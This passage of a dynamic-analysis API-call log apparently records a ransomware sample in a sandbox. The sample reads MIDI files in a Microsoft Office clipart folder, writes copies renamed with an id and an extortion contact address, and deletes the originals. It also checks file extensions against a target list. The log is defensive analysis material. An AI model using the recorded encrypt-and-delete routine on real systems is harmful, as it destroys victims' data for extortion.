lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.875] SetEndOfFile (hFile=0x54c) returned 1 [0136.889] CloseHandle (hObject=0x54c) returned 1 [0136.890] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.890] SetEndOfFile (hFile=0x430) returned 1 [0136.892] CloseHandle (hObject=0x430) returned 1 [0136.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0136.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.892] lstrlenW (lpString=".doc") returned 4 [0136.892] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.893] lstrlenW (lpString=".docx") returned 5 [0136.893] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.893] lstrlenW (lpString=".pdf") returned 4 [0136.893] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.893] lstrlenW (lpString=".xls") returned 4 [0136.893] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.893] lstrlenW (lpString=".xlsx") returned 5 [0136.893] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.893] lstrlenW (lpString=".ppt") returned 4 [0136.893] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.893] lstrlenW (lpString=".zip") returned 4 [0136.893] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.893] lstrlenW (lpString=".rar") returned 4 [0136.893] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.893] lstrlenW (lpString=".bz2") returned 4 [0136.893] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.893] lstrlenW (lpString=".7z") returned 3 [0136.893] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.893] lstrlenW (lpString=".dbf") returned 4 [0136.893] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.893] lstrlenW (lpString=".1cd") returned 4 [0136.893] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.893] lstrlenW (lpString=".jpg") returned 4 [0136.893] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.893] lstrlenW (lpString=".doc") returned 4 [0136.893] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.893] lstrlenW (lpString=".docx") returned 5 [0136.893] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.893] lstrlenW (lpString=".pdf") returned 4 [0136.893] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.894] lstrlenW (lpString=".xls") returned 4 [0136.894] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.894] lstrlenW (lpString=".xlsx") returned 5 [0136.894] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.894] lstrlenW (lpString=".ppt") returned 4 [0136.894] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.894] lstrlenW (lpString=".zip") returned 4 [0136.894] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.894] lstrlenW (lpString=".rar") returned 4 [0136.894] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.894] lstrlenW (lpString=".bz2") returned 4 [0136.894] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.894] lstrlenW (lpString=".7z") returned 3 [0136.894] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.894] lstrlenW (lpString=".dbf") returned 4 [0136.894] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.894] lstrlenW (lpString=".1cd") returned 4 [0136.894] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0136.894] lstrlenW (lpString=".jpg") returned 4 [0136.894] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.894] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.894] lstrlenW (lpString="PAPER_01.MID") returned 12 [0136.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0136.895] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=6763) returned 1 [0136.895] CloseHandle (hObject=0x430) returned 1 [0136.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220 [0136.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0136.896] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.896] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0136.896] GetLastError () returned 0x0 [0136.897] ReadFile (in: hFile=0x430, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x1a6b, lpOverlapped=0x0) returned 1 [0136.905] WriteFile (in: hFile=0x54c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1a70, lpOverlapped=0x0) returned 1 [0136.906] ReadFile (in: hFile=0x430, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.906] WriteFile (in: hFile=0x54c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.906] SetEndOfFile (hFile=0x54c) returned 1 [0136.906] CloseHandle (hObject=0x54c) returned 1 [0136.906] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.906] SetEndOfFile (hFile=0x430) returned 1 [0136.912] CloseHandle (hObject=0x430) returned 1 [0136.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0136.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.917] lstrlenW (lpString=".doc") returned 4 [0136.917] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.917] lstrlenW (lpString=".docx") returned 5 [0136.918] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.918] lstrlenW (lpString=".pdf") returned 4 [0136.918] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.918] lstrlenW (lpString=".xls") returned 4 [0136.918] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.918] lstrlenW (lpString=".xlsx") returned 5 [0136.918] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.918] lstrlenW (lpString=".ppt") returned 4 [0136.918] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.918] lstrlenW (lpString=".zip") returned 4 [0136.918] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.918] lstrlenW (lpString=".rar") returned 4 [0136.918] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.918] lstrlenW (lpString=".bz2") returned 4 [0136.918] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.918] lstrlenW (lpString=".7z") returned 3 [0136.918] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.918] lstrlenW (lpString=".dbf") returned 4 [0136.918] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.918] lstrlenW (lpString=".1cd") returned 4 [0136.918] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.918] lstrlenW (lpString=".jpg") returned 4 [0136.918] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.918] lstrlenW (lpString=".doc") returned 4 [0136.918] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.918] lstrlenW (lpString=".docx") returned 5 [0136.918] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.918] lstrlenW (lpString=".pdf") returned 4 [0136.918] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.918] lstrlenW (lpString=".xls") returned 4 [0136.919] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.919] lstrlenW (lpString=".xlsx") returned 5 [0136.919] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.919] lstrlenW (lpString=".ppt") returned 4 [0136.919] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.919] lstrlenW (lpString=".zip") returned 4 [0136.919] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.919] lstrlenW (lpString=".rar") returned 4 [0136.919] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.919] lstrlenW (lpString=".bz2") returned 4 [0136.919] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.919] lstrlenW (lpString=".7z") returned 3 [0136.919] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.919] lstrlenW (lpString=".dbf") returned 4 [0136.919] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.919] lstrlenW (lpString=".1cd") returned 4 [0136.919] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0136.919] lstrlenW (lpString=".jpg") returned 4 [0136.919] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.919] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.919] lstrlenW (lpString="PARNT_01.MID") returned 12 [0136.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0136.922] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=6491) returned 1 [0136.922] CloseHandle (hObject=0x4dc) returned 1 [0136.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220 [0136.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0136.924] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.924] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0136.926] GetLastError () returned 0x0 [0136.926] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x195b, lpOverlapped=0x0) returned 1 [0136.927] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1960, lpOverlapped=0x0) returned 1 [0136.928] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.928] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.928] SetEndOfFile (hFile=0x4b4) returned 1 [0136.929] CloseHandle (hObject=0x4b4) returned 1 [0136.929] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.929] SetEndOfFile (hFile=0x4dc) returned 1 [0136.931] CloseHandle (hObject=0x4dc) returned 1 [0136.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0136.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.932] lstrlenW (lpString=".doc") returned 4 [0136.932] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.932] lstrlenW (lpString=".docx") returned 5 [0136.932] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.932] lstrlenW (lpString=".pdf") returned 4 [0136.932] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.932] lstrlenW (lpString=".xls") returned 4 [0136.932] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.932] lstrlenW (lpString=".xlsx") returned 5 [0136.932] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.932] lstrlenW (lpString=".ppt") returned 4 [0136.932] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.933] lstrlenW (lpString=".zip") returned 4 [0136.933] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.933] lstrlenW (lpString=".rar") returned 4 [0136.933] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.933] lstrlenW (lpString=".bz2") returned 4 [0136.933] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.933] lstrlenW (lpString=".7z") returned 3 [0136.933] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.933] lstrlenW (lpString=".dbf") returned 4 [0136.933] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.933] lstrlenW (lpString=".1cd") returned 4 [0136.933] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.933] lstrlenW (lpString=".jpg") returned 4 [0136.933] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.933] lstrlenW (lpString=".doc") returned 4 [0136.933] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.933] lstrlenW (lpString=".docx") returned 5 [0136.933] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.933] lstrlenW (lpString=".pdf") returned 4 [0136.933] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.933] lstrlenW (lpString=".xls") returned 4 [0136.933] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.933] lstrlenW (lpString=".xlsx") returned 5 [0136.933] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.933] lstrlenW (lpString=".ppt") returned 4 [0136.933] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.933] lstrlenW (lpString=".zip") returned 4 [0136.933] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.933] lstrlenW (lpString=".rar") returned 4 [0136.933] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.934] lstrlenW (lpString=".bz2") returned 4 [0136.934] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.934] lstrlenW (lpString=".7z") returned 3 [0136.934] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.934] lstrlenW (lpString=".dbf") returned 4 [0136.934] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.934] lstrlenW (lpString=".1cd") returned 4 [0136.934] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0136.934] lstrlenW (lpString=".jpg") returned 4 [0136.934] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.934] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.934] lstrlenW (lpString="PARNT_02.MID") returned 12 [0136.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0136.935] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5714) returned 1 [0136.935] CloseHandle (hObject=0x4dc) returned 1 [0136.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220 [0136.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0136.935] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.935] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0136.936] GetLastError () returned 0x0 [0136.936] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x1652, lpOverlapped=0x0) returned 1 [0136.937] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1660, lpOverlapped=0x0) returned 1 [0136.938] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.938] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.938] SetEndOfFile (hFile=0x4b4) returned 1 [0136.938] CloseHandle (hObject=0x4b4) returned 1 [0136.938] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.939] SetEndOfFile (hFile=0x4dc) returned 1 [0136.941] CloseHandle (hObject=0x4dc) returned 1 [0136.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 